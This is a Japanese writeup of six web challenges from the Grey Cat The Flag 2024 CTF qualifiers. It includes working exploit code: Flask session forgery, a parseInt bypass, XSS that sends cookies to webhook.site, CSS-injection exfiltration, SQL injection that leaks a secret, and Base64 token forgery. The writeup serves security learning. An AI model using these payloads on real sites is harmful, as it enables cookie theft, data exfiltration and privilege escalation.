st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Grey Cat The Flag 2024 Qualifiers writeup

4/20 - 4/21という日程で開催された。BunkyoWesternsのぽよ~~~~として参加して3位。プレースホルダのつもりで適当なユーザ名にしたのだけれども、後から変えようとしたら "Name changes are disabled" と怒られて困った。

Webを全完した。Fearless ConcurrencyとNo Sql Injectionが特に面白かった。

リンク:


[Web 100] Baby Web (183 solves)

I just learnt how to design my favourite flask webpage using htmx and bootstrap. I hope I don't accidentally expose my super secret flag.

(URL)

Author: Junhua

添付ファイル: dist-baby-web.zip

次のようなソースコードが与えられている。セッションに is_admin かどうかの情報が保存されていて、もし is_adminTrue ならばフラグを得られそうだ。ただし、コード中には is_adminFalse に設定する処理しかない。

Flaskのデフォルト設定ということでクライアントセッションが使われるはずだけれども、その署名に使われる秘密鍵が app.secret_key = "baby-web" から分かってしまう。これを使ってセッションを偽造しよう。

import os
from flask import Flask, render_template, session

app = Flask(__name__)
app.secret_key = "baby-web"
FLAG = os.getenv("FLAG", r"grey{fake_flag}")


@app.route("/", methods=["GET"])
def index():
    # Set session if not found
    if "is_admin" not in session:
        session["is_admin"] = False
    return render_template("index.html")


@app.route("/admin")
def admin():
    # Check if the user is admin through cookies
    return render_template("admin.html", flag=FLAG, is_admin=session.get("is_admin"))

### Some other hidden code ###


if __name__ == "__main__":
    app.run(debug=True)

次のようなスクリプトを使ってセッションを偽造する。

from flask import Flask, render_template, session

app = Flask(__name__)
app.secret_key = "baby-web"

@app.route("/", methods=["GET"])
def index():
    session["is_admin"] = True
    return 'ok'

if __name__ == "__main__":
    app.run(debug=True)

できあがったセッションをCookieに設定して /admin にアクセスするとフラグが得られた。

grey{0h_n0_mY_5up3r_53cr3t_4dm1n_fl4g}

[Web 100] Greyctf Survey (154 solves)

Your honest feedback is appreciated :) (but if you give us a good rating we'll give you a flag)

(URL)

Author: jro

添付ファイル: dist-greyctf-survey.zip

次のようなソースコードが与えられている。点数を投票すると元々 -0.42069 という値が入っている score に加算される。このスコアが 1 を超えるとフラグをくれるけれども、投票できる点数は -1 より大きく、1 より小さくなければならない。どうしろと。

よく見ると、typeof vote != 'number' と投票した点数が Number であることをすでに確認しているのに、その後わざわざ parseInt にかけている。数値を丸めたいのなら Math.floor なり Math.round なりを使えばよいのに、なぜわざわざ parseInt を使うのだろう。

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const port = 3000

const config = require("./config.json");

app.use(bodyParser.json())

app.use("/", express.static("static"))

let score = -0.42069;

app.get("/status", async (req, res)=>{
    return res.status(200).json({
        "error": false,
        "data": score
    });
})

app.post('/vote', async (req, res) => {
    const {vote} = req.body;
    if(typeof vote != 'number') {
        return res.status(400).json({
            "error": true,
            "msg":"Vote must be a number"
        });
    }
    if(vote < 1 && vote > -1) {
        score += parseInt(vote);
        if(score > 1) {
            score = -0.42069;
            return res.status(200).json({
                "error": false,
                "msg": config.flag,
            });
        }
        return res.status(200).json({
            "error": false,
            "data": score,
            "msg": "Vote submitted successfully"
        });
    } else {
        return res.status(400).json({
            "error": true,
            "msg":"Invalid vote"
        });
    }
})

app.listen(port, () => {
    console.log(`Survey listening on port ${port}`)
})

JavaScriptでは 3e-100 のような指数表記も使われる。parseInt の呼び出し時には、引数がたとえ数値であっても必ず文字列に変換される、つまり parseInt(3e-100)parseInt('3e-100') は等価だけれども、このとき parseInt は頭の数字の部分だけを使って数値に変換しようとする。つまり、その返り値は 3 となる。parseInt での数値の丸めは vote < 1 && vote > -1 というチェックの後なので、このチェックは通過しつつ score には 3 が足されるということになる。

ということで、3e-100 点を投票するとフラグが得られた。

$ curl http://(省略)/vote -H "Content-Type: application/json" -d '{"vote":3e-100}'
{"error":false,"msg":"grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}"}
grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}

[Web 100] Markdown Parser (114 solves)

I built this simple markdown parser. Please give me some feedback (in markdown), I promise to read them all. Current features include: bold, italics, code blocks with syntax highlighting!

(URL)

Author: ocean

添付ファイル: dist-markdown-parser.zip

Markdownが使えるメモ帳だ。作ったメモはadmin botに通報して、Chromiumで巡回させることができる。このとき、admin botはCookieにフラグを携えてやってくる。このCookieは httpOnly ではないから、XSSに持ち込めれば document.cookie を抽出して外部に抜き出すことでフラグが得られるはずだ。

Markdownのパースと変換は、次の通りライブラリを使わず自前で実装されている。基本的には escapeHtml でエスケープされてしまうけれども、コードブロックのときだけは、指定した言語名がエスケープされず class 属性に突っ込まれる。ここでXSSができそうだ。

function parseMarkdown(markdownText) {
    const lines = markdownText.split('\n');
    let htmlOutput = "";
    let inCodeBlock = false;

    lines.forEach(line => {
        if (inCodeBlock) {
            if (line.startsWith('```')) {
                inCodeBlock = false;
                htmlOutput += '</code></pre>';
            } else {
                htmlOutput += escapeHtml(line) + '\n';
            }
        } else {
            if (line.startsWith('```')) {
                language = line.substring(3).trim();
                inCodeBlock = true;
                htmlOutput += '<pre><code class="language-' + language + '">';
            } else {
                line = escapeHtml(line);
                line = line.replace(/`(.*?)`/g, '<code>$1</code>');
                line = line.replace(/^(######\s)(.*)/, '<h6>$2</h6>');
                line = line.replace(/^(#####\s)(.*)/, '<h5>$2</h5>');
                line = line.replace(/^(####\s)(.*)/, '<h4>$2</h4>');
                line = line.replace(/^(###\s)(.*)/, '<h3>$2</h3>');
                line = line.replace(/^(##\s)(.*)/, '<h2>$2</h2>');
                line = line.replace(/^(#\s)(.*)/, '<h1>$2</h1>');
                line = line.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>');
                line = line.replace(/__(.*?)__/g, '<strong>$1</strong>');
                line = line.replace(/\*(.*?)\*/g, '<em>$1</em>');
                line = line.replace(/_(.*?)_/g, '<em>$1</em>');
                htmlOutput += line;
            }
        }
    });

    return htmlOutput;
}

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

module.exports = {
    parseMarkdown
};

"></pre><script>navigator.sendBeacon('https://webhook.site/…', document.cookie)</script> というような言語名でコードブロックを作成する。これで出来上がったメモを通報すると、フラグが指定したURLにPOSTされた。

grey{m4rkd0wn_th1s_fl4g}

[Web 100] Beautiful Styles (70 solves)

I opened a contest to see who could create the most beautiful CSS styles. Feel free to submit your CSS styles to me and I will add them to my website to judge them. I'll even give you a sample of my site to get you started. Flag only consists of numbers and uppercase letters and the lowercase character f (the exception is the flag format of grey{.+})

(URL)

Author: Junhua

与えられたURLにアクセスすると、次のようにCSSの入力フォームが表示された。

<details> で隠されているのは、次のようなHTMLだ。投稿したCSSは /uploads/(ランダムなID).css に保存される。投稿後は /submission/(ランダムなID) にリダイレクトされるけれども、その内容は次のテンプレートにそのIDやらフラグやらが展開されたHTMLだ。

また、そのページにはadmin botへの通報フォームがある。通報するとbotがChromiumでアクセスしてくれる。通常展開されているフラグはダミーのものだけれども、botがアクセスする際には本物のフラグが入っているということだろう。なるほど、任意のCSSが設定できるので、これで input の値を外部に送信せよということらしい。CSS Injectionの要領でできそうだ。

<!DOCTYPE html>
<html lang="en">
  <head>

    <link href="/uploads/{{submit_id}}.css" rel="stylesheet" />
  </head>
  <body>
    <div class="container">
      <h1 id="title">Welcome to my beautiful site</h1>
      <p id="sub-header">
        Here is some content that I want to share with you. An example can be
        this flag:
      </p>
      <input id="flag" value="{{ flag }}" />
    </div></body>
</html>

1文字ずつ抽出して外部に送信してくれるスクリプトを書く。1文字ずつ確定させていく。

import re
import string
import httpx

table = '{}' + string.ascii_uppercase + string.digits + 'f'
flag = 'grey{'

css = ''
for c in table:
    css += 'input[value^="FLAGCHAR"] { background: url("https://webhook.site/…?FLAGCHAR"); }\n'.replace('FLAG', flag).replace('CHAR', c)

print(css)

with httpx.Client(base_url='http://(省略)/', timeout=300) as client:
    r = client.post('/submit', data={
        'css_value': css
    })
    p = re.findall(r'href="(/submission/[^"]+)"', r.text)[0]
    client.post(p.replace('submission', 'judge'))

これでフラグが分かった。

grey{X5S34RCH1fY0UC4NF1ND1T}

[Web 171] Fearless Concurrency (49 solves)

Rust is the most safest, fastest and bestest language to write web app! The code compiles, therefore it is impossible for bugs! PS: This is my first rust project (real) 🦀🦀🦀🦀🦀

(URL)

Author: jro

添付ファイル: dist-fearless-concurrency.zip

Rustのソースコードが与えられている⚙ flag で検索してみると、/flag でいい感じの入力を与えるとフラグをくれることがわかる。ここで必要な入力は user_idsecret で、user_id で指定したユーザに対応する secret と入力した secret が一致していればフラグをくれるようだ。

    let app = Router::new()
        .route("/", get(root))
        .route("/register", post(register))
        .route("/query", post(query))
        .route("/flag", post(flag))
        .with_state(state);
// …
#[derive(Deserialize)]
struct ClaimFlag {
    user_id: u64,
    secret: u32
}

async fn flag(State(state): State<AppState>, Json(body): Json<ClaimFlag>)  -> axum::response::Result<String> {
    let users = state.users.read().await;
    let user = users.get(&body.user_id).ok_or_else(|| "User not found! Register first!")?;

    if user.secret == body.secret {
        return Ok(String::from("grey{fake_flag_for_testing}"));
    }
    Ok(String::from("Wrong!"))
}

POST /register は次の通り。POSTだけれども特にパラメータは受け付けず、ランダムにユーザIDが生成され、それに対応するユーザの登録がなされる。

async fn register(State(state): State<AppState>) -> impl IntoResponse {
    let uid = rand::random::<u64>();
    let mut users = state.users.write().await;
    let user = User::new();
    users.insert(uid, user);
    uid.to_string()
}

なお、User という構造体の定義は次の通り。secret はランダムな32ビットの数値らしい。

#[derive(Clone)]
struct User {
    lock: Arc<Mutex<()>>,
    secret: u32
}

impl User {
    fn new() -> User {
        User {
            lock: Arc::new(Mutex::new(())),
            secret: rand::random::<u32>()
        }
    }
}

POST /query は次の通り。長いので整理する。ユーザからは user_idquery_string という2つのパラメータを受け付ける。まずMySQLで tbl_(ユーザID)_(ランダムな数値) というテーブルが作成され、これに指定した user_idsecret が挿入される。その後、SELECT * FROM info WHERE body LIKE '(query_stringで指定した文字列)' というSQLが実行される。そして、最初に作成されたテーブルが削除される。レスポンスに含まれるのは SELECT で返ってきた情報だ。なお、ユーザ情報は secret 含めRust側ですべて管理されていて、ここではMySQLに secret の情報がコピーされているに過ぎない。

SELECT 文で明らかにSQLiがある。ただ、' union select secret from (テーブル名);# のようにSQLiで secret を抜き出そうにも、ランダムに生成されているためにテーブル名を当てることができない。ならばと information_schema.tables からテーブル名を抜き出しても、直後にそのテーブルが削除されてしまう。どうしろと。

async fn query(State(state): State<AppState>, Json(body): Json<Query>) -> axum::response::Result<String> {
    let users = state.users.read().await;
    let user = users.get(&body.user_id).ok_or_else(|| "User not found! Register first!")?;
    let user = user.clone();

    // Prevent registrations from being blocked while query is running
    // Fearless concurrency :tm:
    drop(users);

    // Prevent concurrent access to the database!
    // Don't even try any race condition thingies
    // They don't exist in rust!
    let _lock = user.lock.lock().await;
    let mut conn = state.pool.get_conn().await.map_err(|_| "Failed to acquire connection")?;

    // Unguessable table name (requires knowledge of user id and random table id)
    let table_id = rand::random::<u32>();
    let mut hasher = Sha1::new();
    hasher.update(b"fearless_concurrency");
    hasher.update(body.user_id.to_le_bytes());
    let table_name = format!("tbl_{}_{}", hex::encode(hasher.finalize()), table_id);

    let table_name = dbg!(table_name);
    let qs = dbg!(body.query_string);

    // Create temporary, unguessable table to store user secret
    conn.exec_drop(
        format!("CREATE TABLE {} (secret int unsigned)", table_name), ()
    ).await.map_err(|_| "Failed to create table")?;

    conn.exec_drop(
        format!("INSERT INTO {} values ({})", table_name, user.secret), ()
    ).await.map_err(|_| "Failed to insert secret")?;


    // Secret can't be leaked here since table name is unguessable!
    let res = conn.exec_first::<String, _, _>(
        format!("SELECT * FROM info WHERE body LIKE '{}'", qs),
        ()
    ).await;

    // You'll never get the secret!
    conn.exec_drop(
        format!("DROP TABLE {}", table_name), ()
    ).await.map_err(|_| "Failed to drop table")?;

    let res = res.map_err(|_| "Failed to run query")?;

    // _lock is automatically dropped when function exits, releasing the user lock

    if let Some(result) = res {
        return Ok(result);
    }
    Ok(String::from("No results!"))
}

' union select @x;# のように変数でテーブル名を指定できないかと試したところ、通常のクエリ失敗時に起こる Failed to run query は返ってこず、そもそも何もレスポンスが返ってこなかった。ログを見るとパニックが起こったようだ。つまり、以降の DROP TABLE は実行されず、テーブルはそのまま残っている。これなら、残ったテーブルの名前を取得して、さらにそれを元に secret を得ることも可能だ。

以下のようにスクリプトを書く。わざわざテーブル名の取得時に order by create_time desc limit 1 offset 1 とテーブルの作成日時でソートしているのは、ほかの参加者が作成して同じ方法で残したテーブルが大量にあるためだ。最近作成した順にソートすることで、自分の作成したテーブルが前に来る。

import time
import httpx

with httpx.Client(base_url='http://(省略)') as client:
    r = client.post('/register')
    uid = int(r.text)

    try:
        client.post('/query', json={
        'user_id': uid,
        'query_string': "' union select @x;#"
    })
    except:
        pass

    time.sleep(1)

    r = client.post('/query', json={
        'user_id': uid,
        'query_string': "' union select * from (select table_name from information_schema.tables where table_schema = database() order by create_time desc limit 1 offset 1)x;#"
    })
    table = r.text

    r = client.post('/query', json={
        'user_id': uid,
        'query_string': f"' union select * from {table};#"
    })
    secret = int(r.text)

    r = client.post('/flag', json={
        'user_id': uid,
        'secret': secret
    })
    print(r.text)

実行すると、フラグが得られた。

$ python3 s.py
grey{ru57_c4n7_pr3v3n7_l061c_3rr0r5}
grey{ru57_c4n7_pr3v3n7_l061c_3rr0r5}

[Web 995] No Sql Injection (5 solves)

I asked My friend Jason to build me a new e-commerce website. We just finished the login system and there's already bugs 🤦

(URL)

Author: jro

添付ファイル: dist-no-sql-injection.zip

ソースコードを見ていく。MySQLには次のような2つのテーブルが存在している。

create table tokens(token varchar(255));
create table users(
    id INT AUTO_INCREMENT PRIMARY KEY,
    name varchar(255),
    password varchar(255),
    admin bool
);

このWebサーバには主に次の3つのエンドポイントが存在している。

  • POST /api/login
  • POST /api/register/1
  • POST /api/register/2

それぞれ対応するコードを見ていこう。まずは /api/login だけれども、その名の通りユーザ名とパスワードを受け取って、users テーブルに対応するユーザが存在するか確認してくれるAPIだ。このとき、もし admintrue であればフラグを返してくれるらしい。なるほど、admintrue であるユーザを作成するのがゴールらしい。

const decode = s => atob(s?.toString() ?? 'Z3JleWhhdHMh');

app.post('/api/login', async (req, res) => {
    try {
        let { password, username } = req.body;
        password = decode(password);
        username = decode(username);

        const result = await query("select admin from users where name = ? and password = ?", [username, password]);

        if (result.length != 1) {
            return res.json({ err: "Username or password did not match" });
        }

        if(result[0].admin) {
            res.json({ "err": false, "msg": config.flag});
        } else {
            res.json({ "err": false, "msg": "You've logged in successfully, but there's no flag here!"});
        }

        // Prevent too many records from filling up the database
        await query("delete from users where name = ? and password = ?", [username, password]);
    } catch (err) {
        console.log(err);
        res.json({ "err": true });
    }
})

/api/register/1 は次の通り。受け取ったユーザ名に対応するトークンを tokens テーブルに挿入している。このトークンはJSONをBase64エンコードしたものだけれども、ここで name というプロパティには指定したユーザ名が、admin には false が設定されている。

app.post('/api/register/1', async (req, res) => {
    try {
        let { username } = req.body;

        username = decode(username);

        const token = btoa(JSON.stringify({
            name: username,
            admin: false
        }));

        await query("insert into tokens values (?)", [token]);

        res.json({ "err": false, "token": token });
    } catch (err) {
        console.log(err);
        res.json({ "err": true });
    }
})

最後に /api/register/2 を見ていく。今度はリクエストボディからパスワードとトークンを受け取っている。まず、tokens にそのトークンが存在しているか(つまり、/api/register/1 によって発行されたトークンであるか)をチェックしている。もしあれば、tokens からこのトークンを削除したうえで、トークンをJSONとしてパースした結果から nameadmin の2つのプロパティを、リクエストボディからはパスワードを持ってきて、users テーブルにこのユーザを登録する。

/api/register/1 では admin には false しか設定されないし、SQLiをしようにもちゃんとプレースホルダが使われていて、そのような隙はないように見える。どうすればよいだろうか。

app.post('/api/register/2', async (req, res) => {
    try {
        let { password, token } = req.body;
        password = decode(password);
        token = decode(token);

        const result = await query("select 1 from tokens where token = ?", [token]);

        if (result.length != 1) {
            return res.json({ err: "Token not found!" });
        }

        await query("delete from tokens where token = ?", [token]);

        const { name, admin } = JSON.parse(atob(token));

        await query("insert into users (name, password, admin) values (?, ?, ?)", [name.toString(), password, admin === true]);

        res.json({ "err": false });
    } catch (err) {
        console.log(err);
        res.json({ "err": true });
    }
})

ふと、MySQLのデフォルトの設定では文字列比較がcase-insensitiveに行われることを思い出した。これを利用すれば、たとえば /api/register/1 で発行されたトークンが eyJuYW1lIjoibmVrbyIsImFkbWluIjpmYWxzZX0= であったときに、28文字目の u を大文字の U に変換した eyJuYW1lIjoibmVrbyIsImFkbWlUIjpmYWxzZX0=/api/register/2 でトークンとして利用できてしまう。

これをBase64デコードすると {"name":"neko","admiT":false} であり、admin プロパティが admiT プロパティに変わってしまっている。/api/register/2 では、users に挿入されるユーザの情報はトークンに含まれているものが参照されているけれども、ここで参照するトークンは tokens テーブルに含まれているマスターデータではなく、このときリクエストボディから投げられた方のトークンだ。

この性質を利用して、いい感じに admin プロパティが true となっているJSONを作成したい。

次のような構造のJSONを考える。/api/register/1 において poyopoyopoyoXXX , XXXadminXXX :true, XXXhogXXX: XXX というようなユーザ名で登録するとこのようなJSONが作成され、それをBase64エンコードしたものがトークンとして発行されるはずだ。発行されたトークンについて、特定の文字の大文字小文字を変換することで、XXX がそれぞれいい感じに、正規表現でいう \s*"\s* へ化けるような文字はないだろうか。

そのような文字があれば、まずそれを使ったユーザ名で正規のトークンを発行し、特定の文字の大文字小文字を変換することで {"name":"poyopoyopoyo","admin":true,"hog":"","admin":false} に相当するJSONがBase64エンコードされたトークンが作れるはずだ。

{"name":"poyopoyopoyoXXX ,  XXXadminXXX :true,  XXXhogXXX:  XXX","admin":false}

ちゃんと考えて作ればよいのだけれども、面倒になってしまった。次のようにしてブルートフォースで探す。

let s = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';

function *f(s) {
    for (const a of s) {
        for (const b of s) {
            for (const c of s) {
                for (const d of s) {
                    yield a + b + c + d;
                }
            }
        }
    }
}

function *g(s) {
    for (const a of [s[0].toLowerCase(), s[0].toUpperCase()]) {
        for (const b of [s[1].toLowerCase(), s[1].toUpperCase()]) {
            for (const c of [s[2].toLowerCase(), s[2].toUpperCase()]) {
                for (const d of [s[3].toLowerCase(), s[3].toUpperCase()]) {
                    const t = a + b + c + d;
                    if (s !== t) {
                        yield a + b + c + d;
                    }
                }
            }
        }
    }
}

for (const a of f(s)) {
    let s1, s2, o1, o2;

    //s1 = `eyJuYW1lIjoicG95b3BveW9wb3lv${a}ICwg${a}YWRtaW4iOjEyM30=`;
    s1 = `eyJuYW1lIjoicG95b3BveW9wb3lvIiAg${a}ImFkbWluIjoxMjN9`;
    try {
        o1 = JSON.parse(atob(s1));
    } catch {
        continue;
    }

    for (const b of g(a)) {
        //s2 = `eyJuYW1lIjoicG95b3BveW9wb3lv${b}ICwg${b}IiwgImFkbWluIjoxMjN9`;
        s2 = `eyJuYW1lIjoi${b}b3BveW9wb3lvIiAgImFkbWluIjoxMjN9`;
        try {
            o2 = JSON.parse(atob(s2));
            console.log('[*]', a, b);
            break;
        } catch {
            continue;
        }
    }

    if (o2 == undefined) {
        continue;
    }

    console.log(s1, o1);
    console.log(s2, o2);
}

Base64では1文字あたり6ビットの情報を持つ。つまり4文字が元データの3バイトに対応するわけだけれども、それによって発生するズレも考える必要がある。次のように、どうしても微妙な位置に先ほどの例で言う XXX に対応する文字が入ってしまう場合も考慮しつつ、適切な文字を探していく。

// …

for (const a of f(s)) {
    let s1, s2, o1, o2, b;

    // swapcase後のものを導き出す = JSONの構造を破壊するものを探す
    s1 = `eyJuYW1lIjoicG95b3BveW9wb3lvQUFBICwgICBCQkJhZG1pbi${a}A6dHJ1ZSwgQUFBaG9nQUFBOiAgQUFBIiwiYWRtaW4iOjEyM30=`.replaceAll('QUFB', 'ICAi').replaceAll('BCQk', 'AJCS');
    try {
        o1 = JSON.parse(atob(s1));
    } catch {
        continue;
    }

    // swapcase前のものを導き出す
    for (b of g(a)) {
        s2 = `eyJuYW1lIjoicG95b3BveW9wb3lvQUFBICwgICBCQkJhZG1pbi${b}A6dHJ1ZSwgQUFBaG9nQUFBOiAgQUFBIiwiYWRtaW4iOjEyM30=`.replaceAll('QUFB', 'icai').replaceAll('BCQk', 'ajcs');
        try {
            o2 = JSON.parse(atob(s2));
            break;
        } catch {
            continue;
        }
    }

    if (o2 == undefined || Object.keys(o1).length === 4) {
        continue;
    }

    console.log('[*]', a, b);

    console.log(s1, o1);
    console.log(s2, o2);
}

最終的に、次の組み合わせができた。前者のユーザ名をまず /api/register/1 に投げて、トークンをデータベースに登録させる。生成されたトークンの一部の文字について、大文字と小文字を変換すると後者の偽トークンができあがる。これを /api/register/2 に投げると、ユーザ名は poyopoyopoyo 、パスワードはリクエストボディから指定したもの、admintrue であるユーザが作れるはずだ。

eyJuYW1lIjoicG95b3BveW9wb3lvicaiICwgICajcsJhZG1pbiijcsA6dHJ1ZSwgicaiaG9nicaiOiAgicaiIiwiYWRtaW4iOmZhbHNlfQ==
→ {"name":"poyopoyopoyo\x89Æ¢ ,  &£rÂadmin(£rÀ:true, \x89Æ¢hog\x89Æ¢:  \x89Æ¢","admin":false}
eyJuYW1lIjoicG95b3BveW9wb3lvICAiICwgICAJCSJhZG1pbiIJCSA6dHJ1ZSwgICAiaG9nICAiOiAgICAiIiwiYWRTaW4iOmZhbHNlfQ==
→ {"name":"poyopoyopoyo  " ,   \t\t"admin"\t\t :true,   "hog  ":    "","adSin":false}

できた。

$ curl http://(省略)/api/register/1 -d 'username=cG95b3BveW9wb3lvicaiICwgICajcsJhZG1pbiijcsA6dHJ1ZSwgicaiaG9nicaiOiAgicai'
{"err":false,"token":"eyJuYW1lIjoicG95b3BveW9wb3lvicaiICwgICajcsJhZG1pbiijcsA6dHJ1ZSwgicaiaG9nicaiOiAgicaiIiwiYWRtaW4iOmZhbHNlfQ=="}
$ curl http://(省略)/api/register/2 -d 'password=cG95b3BveW9wb3lv&token=ZXlKdVlXMWxJam9pY0c5NWIzQnZlVzl3YjNsdklDQWlJQ3dnSUNBSkNTSmhaRzFwYmlJSkNTQTZkSEoxWlN3Z0lDQWlhRzluSUNBaU9pQWdJQ0FpSWl3aVlXUlRhVzRpT21aaGJITmxmUT09'
{"err":false}
$ curl http://(省略)/api/login -d 'password=cG95b3BveW9wb3lv&username=cG95b3BveW9wb3lvICA='
{"err":false,"msg":"grey{fr13nd5h1p_3nd3d_w17h_my5ql}"}
grey{fr13nd5h1p_3nd3d_w17h_my5ql}